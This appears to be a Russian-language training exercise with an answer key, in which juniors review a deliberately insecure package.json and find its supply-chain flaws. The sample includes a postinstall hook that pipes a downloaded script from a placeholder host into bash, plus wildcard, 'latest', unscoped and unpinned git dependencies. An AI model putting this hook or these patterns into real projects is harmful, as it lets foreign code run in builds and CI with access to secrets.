Код-ревью Junior Зависимости и supply chain обновлено

Ревью: package.json сервиса

Вопрос

Найдите проблемы, связанные с безопасностью зависимостей.

{
  "name": "billing-service",
  "scripts": {
    "postinstall": "curl -s https://get.tools.example/setup.sh | bash",
    "start": "node index.js"
  },
  "dependencies": {
    "express": "*",
    "lodash": "latest",
    "acme-internal-utils": "^1.2.0",
    "pdf-maker": "git+https://github.com/someone/pdf-maker.git"
  }
}

Коротко

Каждая строка открывает путь для чужого кода в сборку. Правильно: точные диапазоны с lock-файлом, scope для внутренних пакетов, никаких curl bash в установке.

Что должен найти ревьюер

  1. Безопасностьстрока 4
    Скрипт установки скачивает и выполняет код из интернета при каждом npm install, в том числе в CI с секретами.
  2. Безопасностьстрока 8
    * ставит любую версию, включая новую мажорную или вредоносную. Нужен диапазон и lock-файл.
  3. Безопасностьстрока 9
    latest даёт невоспроизводимые сборки и автоматически тянет любую новую публикацию.
  4. Безопасностьстрока 10
    Внутренний пакет без scope: риск dependency confusion через публичный реестр. Нужно @acme/internal-utils и привязка scope к внутреннему реестру.
  5. Безопасностьстрока 11
    Зависимость из чужого git-репозитория без закрепления коммита: код может поменяться в любой момент, SCA его плохо видит.

Разбор

Каждая строка открывает путь для чужого кода в сборку. Правильно: точные диапазоны с lock-файлом, scope для внутренних пакетов, никаких curl | bash в установке.

Ответьте сами, а не прочитайте

В тренажёре вопрос попадёт в повторения и вернётся, когда начнёт забываться. Плюс билеты с зачётом: 20 вопросов, не больше 2 ошибок.